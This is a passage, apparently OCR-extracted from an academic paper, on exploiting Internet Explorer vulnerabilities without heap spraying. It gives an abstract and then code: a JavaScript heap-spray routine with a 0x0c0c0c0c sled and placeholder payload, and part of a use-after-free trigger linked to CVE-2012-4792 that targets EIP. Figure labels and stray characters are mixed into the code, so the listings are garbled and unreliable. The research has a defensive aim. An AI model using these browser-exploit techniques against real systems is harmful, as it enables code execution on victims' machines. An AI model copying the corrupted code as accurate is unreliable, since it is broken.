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Study of Non-Heapspray IE’s Vulnerability Exploitation Technique
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Abstract: With the progress and development of Internet technology, the computer has been the indispensable
tool in people's daily life. The security issue of computer system becomes increasingly significant. At present,
vulnerability exploitation of systems or software has become a popular attacking method. In order to defend the attack
to vulnerability more effectively, we need to study various methods of vulnerability exploitation. This paper introduces
a new technique of browser’s vulnerability-exploitation, which has been verified in the known vulnerabilities, based
on popular methods of IE’s vulnerability exploitation.
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[7-9] function heap_spray()

{
UAF shellcode=unescape(*'%u9090%u9090%u9090%u9090");

chunk_size = 0x40000;
nopsled = unescape(""%u0c0c%u0c0c");
nopsled_len = chunk_size - shellcode.length;
while (nopsled.length < nopsled_len)
CVE-2012-4792 nopsled += nopsled;
nopsled = nopsled.substring(0, nopsled_len);
code = nopsled + shellcode;
heap_chunks = new Array();
for (i=0;i<1000;i++)
{
heap_chunks][i] = code.substring(0, code.length);

}
UAF }
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e_div.className = "\u0cOc\uOcOcshuishuishuishuishuishuishuishuis

2
huishui*";
5
0x0c0c0c0c
3

animvalues = "\u4141\u4141"

0x0c0c0c0c
EIP

while(animvalues.length < 0xDC) {
animvalues += animvalues

}

for(i=0;i<21;i++){
animvalues += ";cyan";

}
animvalues
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